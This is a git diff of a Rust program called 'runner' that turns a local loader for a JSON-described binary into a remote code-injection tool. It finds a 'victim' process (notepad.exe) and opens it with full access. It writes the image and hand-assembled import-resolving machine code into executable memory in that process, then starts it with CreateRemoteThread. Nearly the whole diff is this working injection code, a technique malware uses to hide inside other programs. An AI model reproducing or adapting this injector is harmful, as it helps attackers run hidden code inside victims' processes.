diff --git a/runner/Cargo.lock b/runner/Cargo.lock
index 779e0a7..7c446b7 100644
--- a/runner/Cargo.lock
+++ b/runner/Cargo.lock
@@ -284,6 +284,7 @@ dependencies = [
"serde_json",
"serde_with",
"windows-sys",
+ "winres",
]
[[package]]
@@ -423,6 +424,15 @@ dependencies = [
"time-core",
]
+[[package]]
+name = "toml"
+version = "0.5.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234"
+dependencies = [
+ "serde",
+]
+
[[package]]
name = "unicode-ident"
version = "1.0.18"
@@ -618,3 +628,12 @@ name = "windows_x86_64_msvc"
version = "0.52.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
+
+[[package]]
+name = "winres"
+version = "0.1.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b68db261ef59e9e52806f688020631e987592bd83619edccda9c47d42cde4f6c"
+dependencies = [
+ "toml",
+]
diff --git a/runner/Cargo.toml b/runner/Cargo.toml
index 486d383..281d72a 100644
--- a/runner/Cargo.toml
+++ b/runner/Cargo.toml
@@ -8,4 +8,7 @@ serde = {version = "1.0.219", features=["derive"]}
serde_bytes = "0.11.17"
serde_json = "1.0.140"
serde_with = {version="3.12.0", features=["base64"]}
-windows-sys = {version="0.59.0", features=["Win32_System_Memory", "Win32_System_LibraryLoader"]}
+windows-sys = {version="0.59.0", features=["Win32_System_Memory", "Win32_System_LibraryLoader", "Win32_System_Diagnostics_ToolHelp", "Win32_System_Threading", "Win32_System_Diagnostics_Debug", "Win32_Security"]}
+
+[build-dependencies]
+winres = "0.1.12"
diff --git a/runner/build.rs b/runner/build.rs
new file mode 100644
index 0000000..6752c62
--- /dev/null
+++ b/runner/build.rs
@@ -0,0 +1,22 @@
+extern crate winres;
+
+fn main() {
+ /*
+ let mut res = winres::WindowsResource::new();
+ res.set_manifest(
+ r#"
+
+
+
+
+
+
+
+
+
+ "#,
+ );
+ res.compile()
+ .expect("expected to be able to build resources");
+ */
+}
diff --git a/runner/src/main.rs b/runner/src/main.rs
index 3df214b..0163354 100644
--- a/runner/src/main.rs
+++ b/runner/src/main.rs
@@ -1,4 +1,5 @@
-use std::ffi::c_void;
+use std::ffi::{c_void, CStr};
+use std::mem::MaybeUninit;
use std::ptr;
use std::{fs::File, io::Read};
@@ -7,9 +8,15 @@ use serde_with::base64::{Base64, Standard};
use serde_with::formats::Padded;
use serde_with::serde_as;
-use windows_sys::Win32::Foundation::HMODULE;
-use windows_sys::Win32::System::LibraryLoader;
+use windows_sys::Win32::Foundation::{GetLastError, PROC};
+use windows_sys::Win32::System::Diagnostics::Debug;
+use windows_sys::Win32::System::Diagnostics::ToolHelp::{self, PROCESSENTRY32};
use windows_sys::Win32::System::Memory;
+use windows_sys::Win32::System::Threading::PROCESS_ALL_ACCESS;
+use windows_sys::Win32::System::{LibraryLoader, Threading};
+
+const LOAD_LIBRARY_A: *const c_void = LibraryLoader::LoadLibraryA as *const c_void;
+const GET_PROC_ADDRESS: *const c_void = LibraryLoader::GetProcAddress as *const c_void;
#[serde_as]
#[derive(Debug, Deserialize)]
@@ -32,54 +39,286 @@ struct Binary {
entry_point: usize,
}
fn main() {
- unsafe { _main() }
+ unsafe { _main_remote() }
}
-unsafe fn _main() {
+
+struct LocalWriter {
+ binary: *mut u8,
+ base: *mut u8,
+ ptr: *mut u8,
+}
+struct Measurer {
+ count: usize,
+}
+
+impl Measurer {}
+
+trait CodeGen {
+ unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void;
+
+ unsafe fn write_ptr(&mut self, ptr: *const c_void) -> *const c_void {
+ let bytes = unsafe { std::mem::transmute::<*const c_void, [u8; 8]>(ptr) };
+ self.write(&bytes)
+ }
+
+ unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void;
+}
+
+impl Measurer {
+ fn round_up(&mut self) {
+ self.count = (self.count + 15) / 16 * 16;
+ }
+}
+
+impl CodeGen for LocalWriter {
+ unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
+ let addr = self.ptr;
+ for u in u8s {
+ *self.ptr = *u;
+ self.ptr = self.ptr.byte_add(1);
+ }
+ self.binary.offset(addr.offset_from(self.base)) as *const c_void
+ }
+
+ unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void {
+ self.binary.byte_add(offset) as *const c_void
+ }
+}
+
+impl CodeGen for Measurer {
+ unsafe fn write(&mut self, u8s: &[u8]) -> *const c_void {
+ self.count += u8s.len();
+ return ptr::null();
+ }
+
+ unsafe fn address_in_binary(&mut self, offset: usize) -> *const c_void {
+ return ptr::null();
+ }
+}
+
+unsafe fn write_imports(
+ strings: &mut impl CodeGen,
+ code: &mut impl CodeGen,
+ original_entry_point: usize,
+ imports: &[Import],
+) {
+ // push rbp
+ code.write(&[0x55]);
+ // mov rbp, rsp
+ code.write(&[0x48, 0x89, 0xe5]);
+ // nop
+ code.write(&[0x90]);
+ // sub rsp, 0x20
+ code.write(&[0x48, 0x83, 0xec, 0x20]);
+ // windows needs 32 bytes to clobber: https://en.wikipedia.org/wiki/X86_calling_conventions#Microsoft_x64_calling_convention
+ for import in imports {
+ let library_addr = strings.write(&import.dll);
+ strings.write(&[0]);
+ let symbol_addr = strings.write(&import.symbol);
+ strings.write(&[0]);
+
+ // mov rcx, library name
+ code.write(&[0x48, 0xb9]);
+ code.write_ptr(library_addr);
+ // mov rax, LoadLibraryA
+ code.write(&[0x48, 0xb8]);
+ code.write_ptr(LOAD_LIBRARY_A);
+ // call rax
+ code.write(&[0xff, 0xd0]);
+
+ // mov rcx, rax
+ code.write(&[0x48, 0x89, 0xc1]);
+ // mov rdx, symbol name
+ code.write(&[0x48, 0xba]);
+ code.write_ptr(symbol_addr);
+ // mov rax, GetProcAddress
+ code.write(&[0x48, 0xb8]);
+ code.write_ptr(GET_PROC_ADDRESS);
+ // call rax
+ code.write(&[0xff, 0xd0]);
+ // mov [import address], rax
+ code.write(&[0x48, 0xa3]);
+ let addr = code.address_in_binary(import.address);
+ code.write_ptr(addr);
+ }
+ // mov rax, original entry point
+ code.write(&[0x48, 0xb8]);
+ let addr = code.address_in_binary(original_entry_point);
+ // let addr = load_library_a;
+ code.write_ptr(addr);
+ // call rax
+ code.write(&[0xff, 0xd0]);
+ // leave, ret
+ code.write(&[0xc9, 0xc3]);
+}
+
+unsafe fn _main_remote() {
let mut input = File::open("binaries/main.json").unwrap();
let mut buf: Vec = vec![];
let _ = input.read_to_end(&mut buf).unwrap();
let binary = serde_json::from_slice::(&buf).unwrap();
- println!("Binary: {:?}", binary);
- let address_space = Memory::VirtualAlloc(
+ let mut string_measurer = Measurer { count: 0 };
+ let mut code_measurer = Measurer { count: 0 };
+ write_imports(
+ &mut string_measurer,
+ &mut code_measurer,
+ binary.entry_point,
+ &binary.imports,
+ );
+ // string_measurer.round_up();
+ // code_measurer.round_up();
+
+ // TODO: Alignment
+ let Some(victim) = identify_victim() else {
+ println!("couldn't find victim");
+ return;
+ };
+ let remote = Threading::OpenProcess(PROCESS_ALL_ACCESS, 0, victim);
+ if remote == ptr::null_mut() {
+ println!("got null");
+ return;
+ }
+ let total_size = binary.starting_state.len() + string_measurer.count + code_measurer.count;
+ let remote_address_space = Memory::VirtualAllocEx(
+ remote,
ptr::null(),
- binary.starting_state.len(),
+ total_size,
Memory::MEM_COMMIT | Memory::MEM_RESERVE,
Memory::PAGE_EXECUTE_READWRITE,
);
+ let local_address_space = Memory::VirtualAlloc(
+ ptr::null(),
+ total_size,
+ Memory::MEM_COMMIT | Memory::MEM_RESERVE,
+ Memory::PAGE_EXECUTE_READWRITE,
+ );
+
+ local_address_space.copy_from(
+ binary.starting_state.as_ptr() as *const c_void,
+ binary.starting_state.len(),
+ );
+
+ let strings = local_address_space.byte_add(binary.starting_state.len());
+ let prelude = strings.byte_add(string_measurer.count);
+ let mut strings_writer = LocalWriter {
+ binary: remote_address_space as *mut u8,
+ base: local_address_space as *mut u8,
+ ptr: strings as *mut u8,
+ };
+ let mut prelude_writer = LocalWriter {
+ binary: remote_address_space as *mut u8,
+ base: local_address_space as *mut u8,
+ ptr: prelude as *mut u8,
+ };
+ write_imports(
+ &mut strings_writer,
+ &mut prelude_writer,
+ binary.entry_point,
+ &binary.imports,
+ );
+ println!("error: {}", GetLastError());
+ println!(
+ "Copying memory to foreign process (at {:?} from {:?} get {:?})",
+ remote_address_space, local_address_space, total_size
+ );
+ Debug::WriteProcessMemory(
+ remote,
+ remote_address_space,
+ local_address_space,
+ total_size,
+ ptr::null_mut(),
+ );
+ println!("error: {}", GetLastError());
+ println!("Creating remote thread");
+
+ let entry_point =
+ remote_address_space.byte_add(binary.starting_state.len() + string_measurer.count);
+ println!("Entry point: {:?}", entry_point);
+ Threading::CreateRemoteThread(
+ remote,
+ ptr::null(),
+ 0,
+ Some(std::mem::transmute::<
+ *mut c_void,
+ unsafe extern "system" fn(*mut c_void) -> u32,
+ >(entry_point)),
+ ptr::null(),
+ 0,
+ ptr::null_mut(),
+ );
+ println!("error: {}", GetLastError());
+ println!("Done!");
+}
+
+unsafe fn identify_victim() -> Option {
+ let snapshot = ToolHelp::CreateToolhelp32Snapshot(ToolHelp::TH32CS_SNAPPROCESS, 0);
+ let mut entry: MaybeUninit = MaybeUninit::uninit();
+ entry.assume_init_mut().dwSize = std::mem::size_of::() as u32;
+ let mut process = ToolHelp::Process32First(snapshot, entry.as_mut_ptr());
+ println!("error: {}; process: {}", GetLastError(), process);
+ while process != 0 {
+ let entry_ref = entry.assume_init_ref();
+ let name = CStr::from_ptr(entry_ref.szExeFile.as_ptr());
+ println!("peeking: {:?}", name);
+ if name.eq(CStr::from_bytes_with_nul_unchecked(b"notepad.exe\x00")) {
+ return Some(entry_ref.th32ProcessID);
+ }
+ process = ToolHelp::Process32Next(snapshot, entry.as_mut_ptr());
+ }
+ return None;
+}
+/*
+unsafe fn _main_local() {
+ let mut input = File::open("binaries/main.json").unwrap();
+ let mut buf: Vec = vec![];
+ let _ = input.read_to_end(&mut buf).unwrap();
+
+ let binary = serde_json::from_slice::(&buf).unwrap();
+
+ let mut string_measurer = Measurer { count: 0 };
+ let mut code_measurer = Measurer { count: 0 };
+ write_imports(
+ &mut string_measurer,
+ &mut code_measurer,
+ binary.entry_point,
+ &binary.imports,
+ );
+
+ // TODO: Alignment
+ let address_space = Memory::VirtualAlloc(
+ ptr::null(),
+ binary.starting_state.len() + string_measurer.count + code_measurer.count,
+ Memory::MEM_COMMIT | Memory::MEM_RESERVE,
+ Memory::PAGE_EXECUTE_READWRITE,
+ );
+
address_space.copy_from(
binary.starting_state.as_ptr() as *const c_void,
binary.starting_state.len(),
);
- for i in binary.imports.iter() {
- let mut lcpstr_dll = vec![];
- lcpstr_dll.extend(&i.dll);
- lcpstr_dll.push(0);
- let mut lpcstr_procname = vec![];
- lpcstr_procname.extend(&i.symbol);
- lpcstr_procname.push(0);
+ let strings = address_space.byte_add(binary.starting_state.len());
+ let prelude = strings.byte_add(string_measurer.count);
+ let mut strings_writer = LocalWriter {
+ binary: address_space as *mut u8,
+ ptr: strings as *mut u8,
+ };
+ let mut prelude_writer = LocalWriter {
+ binary: address_space as *mut u8,
+ ptr: prelude as *mut u8,
+ };
+ write_imports(
+ &mut strings_writer,
+ &mut prelude_writer,
+ binary.entry_point,
+ &binary.imports,
+ );
- println!("handling import");
- let dll: HMODULE = LibraryLoader::LoadLibraryA(lcpstr_dll.as_ptr());
+ let function: unsafe extern "C" fn() -> *const c_void = std::mem::transmute(prelude);
- // TODO: Free anything? No real need to.
- let proc = LibraryLoader::GetProcAddress(dll, lpcstr_procname.as_ptr()).unwrap();
- let proc_ptr = proc as *mut c_void;
- println!(
- "writing at {} out of {}",
- i.address,
- binary.starting_state.len()
- );
- let location = address_space.byte_add(i.address) as *mut *mut c_void;
- *location = proc_ptr;
- println!("handled import");
- }
- println!("done with imports");
- let fn_start = address_space.byte_add(binary.entry_point);
- let function: unsafe fn() -> () = std::mem::transmute(fn_start);
-
- function();
- println!("returned");
+ let result = function();
}
+
+*/